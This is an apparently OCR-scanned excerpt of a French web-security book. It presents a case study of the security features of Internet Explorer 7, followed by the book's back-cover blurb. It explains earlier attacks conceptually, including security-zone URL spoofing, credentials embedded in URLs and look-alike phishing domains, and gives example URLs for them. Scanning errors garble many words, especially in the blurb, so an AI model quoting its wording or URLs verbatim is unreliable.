En octobre 2006, Microsoft a sorti la version 7 de son navigateur web, Internet Explorer 
(IE 7). Cette nouvelle version est apparue cinq ans apres IE 6 et la securite a fait I'objet 
de changements importants. Alors que les attaques par depassement de tampon etaient 
deja connues en 2001, les assalllants ont continue a exploiter des parametres de securite 
exagerement permissifs, ainsi qu'a decouvrir de nouvelles vulnerabilites dans IE 6 et les 
objets ActiveX. Pendant quelque temps, il semblait que des vulnerabilites majeures 
etaient decouvertes quotidiennement et une nouvelle Industrie de logiciels anti-espion 
a emerge. Ce marche nous a aides a combattre et a nous relever des nombreuses atta- 
ques basees sur le navigateur qui s'en prenaient a nos ordinateurs pendant qu'ils sur- 
faient sur le Web. D'autre part, les fraudes en ligne se sont orientees vers des vols 
monetaires et I'attaque du systeme d'exploitation d'un utilisateur pour derober ses MP3 
n'etait rien comparee au vol d'informations concernant les comptes bancaires d'un utili- 
sateur. 

Avec I'augmentation des activites de valeur accessibles en ligne, de nouvelles classes d'atta- 
que sont apparues et les criminels s'en sont pris aux sites bancaires et aux sites marchands. 
Les attaques de type hamegonnage et XSS {Cross-Site Scripting) tirent profit des defauts de 
conception des sites web, des navigateurs et du Web lui-meme, pour voler I'argent et les 
identites des victimes. 

Les problemes sont devenus tellement serieux et repandus, qu'en 2004 la mauvaise reputa- 
tion de Microsoft en terme de securite menagait la popularite d'Internet Explorer et meme 
de Windows. C'est a ce moment-la que les utilisateurs ont commence a se tourner vers Fire- 
fox. Reconnaissant ['importance de ces problemes, Microsoft a beaucoup travaille sur la 
securite dans Internet Explorer 7. Cette etude de cas examine les changements suivants et 
les nouvelles fonctions de securite : 

• ActiveX Opt-In ; 

• protection SSL ; 

• analyse d'URL ; 

• protection entre domaines ; 

• filtre anti-hameqonnage ; 

• mode protege. 

ActiveX Opt-In 

Nous I'avons explique au Chapitre 8, les controles ActiveX ont ete une source courante de 
problemes de securite. IE7 tente de reduire cette exposition aux controles potentiellement 
dangereux a I'aide de la nouvelle fonctionnalite appelee ActiveX Opt-In. Par defaut, elle 
desactive les controles ActiveX. Lorsqu'un utilisateur visite un site web qui utilise ActiveX, IE 7 
lui demande s'il souhaite executer le controle. Si I'utilisateur approuve ce comportement, ce 
message n'apparaitra plus lors de ses visites ulterieures du site. Si I'utilisateur accorde 
I'autorisation, une information Authenticode sera affichee et le controle pourra s'executer. 
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La fonctionnalite Opt-In desactive la plupart des controles ActiveX, a molns que rutillsateur 
ne les active expressement. Attention cependant, car si des controles sont Installes par une 
page en utilisant un fichler CAB, I'utilisateur devra decider d'installer ce fichler. Les contro- 
les presents sur la llste pre-approuvee, ainsi que les controles employes precedemment avec 
IE 6 (dans le cas d'une mise a niveau a partir d'lE 6) peuvent toujours etre executes sans les 
protections Opt-In. Les controles qui se trouvent sur la liste pre-approuvee mais qui ne sont 
pas installes sur la machine seront soumis aux processus d'approbation pour etre installes 
sur le systeme. 

Cette fonctionnalite est conque pour reduire les attaques web de type "drive-by" en elimi- 
nant I'execution silencieuse de nombreux controles ActiveX anciens qui, tout en etant 
installes, ne sont jamais reellement employes par les sites legitimes visites par I'utilisateur. 
L'efficacite de cette approche reste encore a prouver, mais elle represente un effort estimable 
quant a la reduction de la surface d'attaque. 

Protections SSL 

IE 7 impose des contraintes SSL plus fortes sur les connexions HTTPS. Si un certif icat SSL d'un 
certain site web pose probleme, au lieu de simplement afficher une boTte mysterieuse et 
facile a ignorer, IE 7 interrompt la transaction avec I'integralite de la page web, en avertis- 
sant rutillsateur qu'il ne devrait pas poursuivre sa visite. Plus precisement, I'erreur indique 
"Le certif icat de ce site presente un probleme... Nous vous recommandons de fermer cette 
page web et de quitter ce site." 

L'attaque de I'homme du milieu avec SSL est un bon exemple de I'utilisation des messages 
d'erreur mediocres anterieurs a IE 7. Ces attaques dupent les utilisateurs en les amenant 
(par de I'ingenierie sociale) a accepter un faux certificat SSL controle par I'assaillant et 
annulant la securite offerte par SSL. Void les problemes des certificats SSL qui conduiront a 
la page d'erreur : 

• une date est invalide ; 

• un nom et un domaine ne correspondent pas ; 

• une autorite de certification est invalide ; 

• un echec du controle de revocation ; 

• un certificat a ete revoque (uniquement avec Vista). 

Outre les erreurs des certificats SSL, IE 7 desactive egalement SSLv2, qui presente des 
problemes de securite connus, au profit de SSLv3/TLSv1. De cette maniere, la forme la plus 
robuste de SSL/TLS est employee par defaut. D'autre part, IE 7 empeche egalement I'utilisa- 
tion d'un chiffrement faible avec SSL, comme les modes obsoletes et faciles a casser bases 
sur des cles de chiffrement de 40 ou 56 bits. Meme si cela n'est pris en charge que par 
Windows Vista, les utilisateurs sont assures que le navigateur emploie uniquement un chif- 
frement fort. II est egalement bon de noter que les systemes de chiffrement faible ne 
peuvent pas etre reactives, contrairement, malheureusement, a SSLv2. Enfin, si un naviga- 
teur visite une page web avec HTTPS, tout contenu provenant de pages HTTP sera bloque. 
Cela evite de melanger du contenu HTTPS et du contenu HTTP non sur dans des applications 
web sensibles. 
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Analyse d'URL 

IE 7 examine toutes les URL que I'utilisateur saisit, sur lesquelles il clique ou vers lesquelles 11 
est redirige. Si une URL web ne correspond pas aux specifications de la RFC 3986, IE 7 affi- 
che une page d'erreur. Par le passe, IE a ete vulnerable a un grand nombre d'attaques via 
les URL, notamment pour de I'hameqonnage. 

L'une de ces attaques a ete employee pour corrompre les zones de securite dans IE. Elle 
utilise une URL qui commence par le site legitime (par exemple update.microsoft.com) et 
se termine par le domaine de I'assaillant (comme cybermechants . com). Certaines anciennes 
versions d'lE sont dirigees vers le site de I'assaiilant mais le place dans la zone de securite 
qui correspond a la partie gauclie de I'URL, qui, dans ce cas, est une zone de securite 
approuvee. La zone de securite approuvee dispose de privileges moins restreints et 
permet au site malveillant d'effectuer des actions qui ne devraient pas etre autorisees 
(comme executer automatiquement des controles ActiveX dangereux). Une autre attaque 
classique consiste a utiliser un format d'URL alternatif pour encoder une autorisation 
HTTP basique directement dans I'URL (par exemple, http: //nomUtilisateur:motDe- 
PasseOwww. monsite.fr/) afin d'essayer de camoufler le veritable site visite. 

Pour se proteger de ces classes d'attaques, Microsoft a place tous ses analyseurs d'URL dans 
une bibliotheque appelee cURL {Consolidated URL). Lorsqu'elle est employee, les URL sont 
examinees et sont rejetees si elles ne respectent pas les specifications de la RFC. Plus 
precisement, IE 7 rejettera les URL : 

• qui tentent de violer les regies de securite ; 

• dont la syntaxe est invalide ; 

• dont les noms d'hotes sont invalides ; 

• qui sont invalides ; 

• qui tentent d'obtenir une quantite de memoire superieure a celle disponible. 

Protection entre domaines 

La protection entre domaines aide a se proteger contre les scripts qui tentent d'executer 
des scripts issus de domaines differents. Par exemple, un assaillant peut ecrire un script 
malveillant et le poster dans un domaine qu'il controle. Dans ce type d'attaque, si 
I'assaillant convainc un utilisateur de visiter son domaine, le site malveillant peut alors 
ouvrir une nouvelle fenetre qui contient une page legitime, comme celle d'un site bancaire 
ou d'un site marchand connu. Si I'utilisateur saisit des informations sensibles sur le site legi- 
time, comme son identifiant et son mot de passe, cela se passe en realite dans le domaine 
de I'assaillant et le site malveillant peut extraire les informations fournies par I'utilisateur. 
Cette activite entre domaines est extremement dangereuse et IE 7 a tente d'empecher ce 
fonctionnement. 

Pour reduire les attaques entre domaines, IE 7 tente de charger une URL avec son domaine 
d'origine et de limiter ses interactions aux fenetres et au contenu provenant du meme 
domaine. Plus precisement, IE 7 tentera par defaut de bloquer une URL de script, de rediri- 
ger des objets DOM et d'empecher les fenetres ou cadres IE d'acceder a une autre fenetre 
ou cadre s'ils n'en ont pas requ explicitement I'autorisation. 
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Filtre anti-hamegonnage 

IE 7 est fourni avec un filtre anti-hamegonnage qui protege les utilisateurs centre les sites 
d'hamegonnage connus ou suspectes. Le filtre evitera que les utilisateurs ne visltent des 
sites web qui semblent etre des entites de confiance. Par exemple, le site web d'une 
banque, de PayPal ou d'une societe de credit peut facilement etre copie par un assalllant. 
Au lieu de visiter www. pay pal. com, I'assaillant peut duper un utilisateur et le diriger vers 
www.paypal.com.cybermechants.com. Le site legitime et le site factice auront le meme 
aspect. Le site factice est evidemment un site d'hamegonnage qui tente d'obtenir I'identi- 
fiant et le mot de passe d'un utilisateur ou des informations bancaires. 

Pour proteger les utilisateurs contre ce type de sites, le filtre anti-hame?onnage d'lE 7 
propose deux modes : Desactiver la verification automatique de sites Web (par defaut) et 
Activer la verification automatique de sites Web. Dans le premier mode, une liste locale 
d'URL approuvee, stockee dans un fichier sur I'ordinateur de I'utilisateur, est consultee. Si 
I'utilisateur visite un site qui ne se trouve pas sur cette liste, le navigateur I'avertit et lui 
demande d'approuver le declenchement du processus de verification automatique. Dans le 
deuxieme mode, le navigateur envoie chaque URL visitee par Tutilisateur a la base de 
donnees anti-hamegonnage de Microsoft. Celle-ci verifie si I'URL fait partie des URL 
d'hamegonnage connues. Dans I'affirmative, la requete est bloquee. 

Un utilisateur peut visiter un site web dont I'URL ressemble a une URL d'hameqonnage, sans 
qu'elle soit presente dans la base de donnees d'hame^onnage ou sur la liste approuvee. 
Dans ce cas, lorsqu'un site web presente les caracteristiques d'un site d'hame^onnage, sans 
que cela soit signale et confirme, IE 7 affiche un message d'avertissement a I'utilisateur 
pour I'informer de la dangerosite potentielle de sa destination. 

Mode protege 

Le mode protege se fonde sur un principe de securite appele modele du moindre privilege, 
dans lequel les applications et les services s'executent avec uniquement les droits stricte- 
ment necessaires a leur fonctionnement. IE 7 suit ce principe en executant le navigateur 
avec un acces tres restreint au reste du systeme. Ce modele reduit les possibilites du naviga- 
teur, et de tout ce qui est Indus dans le navigateur comme un controle ActiveX, en ce qui 
concerne I'ecriture, la modification ou la suppression d'informations sur I'ordinateur. 

Le mode protege n'est disponible que sous Windows Vista, car II s'appuie sur les nouvelles 
fonctions de securite de ce systeme d'exploitation : UAC (User Account Control), MIC 
{Mandatory Integrity Controls) et UIPI {User Interface Privilege Isolation). UAC permet 
d'executer des programmes sans disposer des droits d'administrateur, un probleme qui a 
tourmente de nombreux produits Microsoft par le passe. Puisque les non-administrateurs 
ne disposent pas des droits complets sur le systeme d'exploitation, une application qui 
s'execute avec UAC doit franchir un nombre d'obstacles beaucoup plus important pour 
realiser des actions dangereuses comme installer des services malveillants. MIC permet a IE 
en mode protege de lire, mais pas de modifier les objets systeme, a I'exception d'un petit 
nombre qui ont ete specifiquement marques pour un tel acces (certains fichiers et certaines 
cles du Registre). Enfin, les restrictions UIPI empechent les processus qui disposent de droits 
faibles de communiquer avec des processus ayant des droits plus eleves, en renforgant ainsi 
la barriere de securite qui les separe. Avec UIPI, comme avec MIC, des fenetres choisissent 
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explicitement les messages qu'elles acceptent de recevoir d'un processus ayant des droits 
inferieurs. 

Grace a ces fonctionnalites, dans la zone Internet, IE est mieux isole du reste du systeme, ce 
qui reduit enormement les possibilites d'attaque et les dommages que pourrait causer un 
site web malveillant. L'attaque du systeme d'un utilisateur a I'aide d'un controle ActiveX, 
d'un objet Flash, d'un script JavaScript ou d'un code VBScript sera plus difficile sous IE 7 en 
mode protege sans une interaction avec I'utilisateur. 
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la derniere vague de cybercriminalite 

A I'heure du Web 2.0 et des interfaces utilisateurs 
dynamiques, complexes et tres reactives, comment 
oilier focilite d'usoge et securite des sites Internet ? 

Get ouvroge, ecrit par des experts en securite 
informatique sur Internet, dresse un panorama des 
differentes ottoques et vuinerobiiites ouxqueiies sont 
exposes les sites interoctifs et explique comment s'en 
proteger. 

Vous apprendrez comment eviter des ottoques 
por injection et debordement de tampons {buffer 
overflow), corriger des failles dons les novigoteurs et 
leurs greffons (plug-ins), et securiser des applications 
AJAX, Flash, et XML. 

Ces conseils s'oppuient sur des etudes de cos concrets 
illustront les foiblesses des sites de reseoux socioux, 
les methodes d'ottoque provoquont I'offichoge de 
code douteux (XSS), les vuinerobiiites des migrations, 
et les defauts d'Internet Explorer 7. 

« Cet ouvrage mentionne precisement les types 
d'attaques mena^anf quotidiennement les sites du 
Web 2.0, et ses auteurs proposent des conseils solides 
et concrets pour identifier et detourner ces dangers. » 

Max Kelly, 

directeur senior de la securite chez Facebook 
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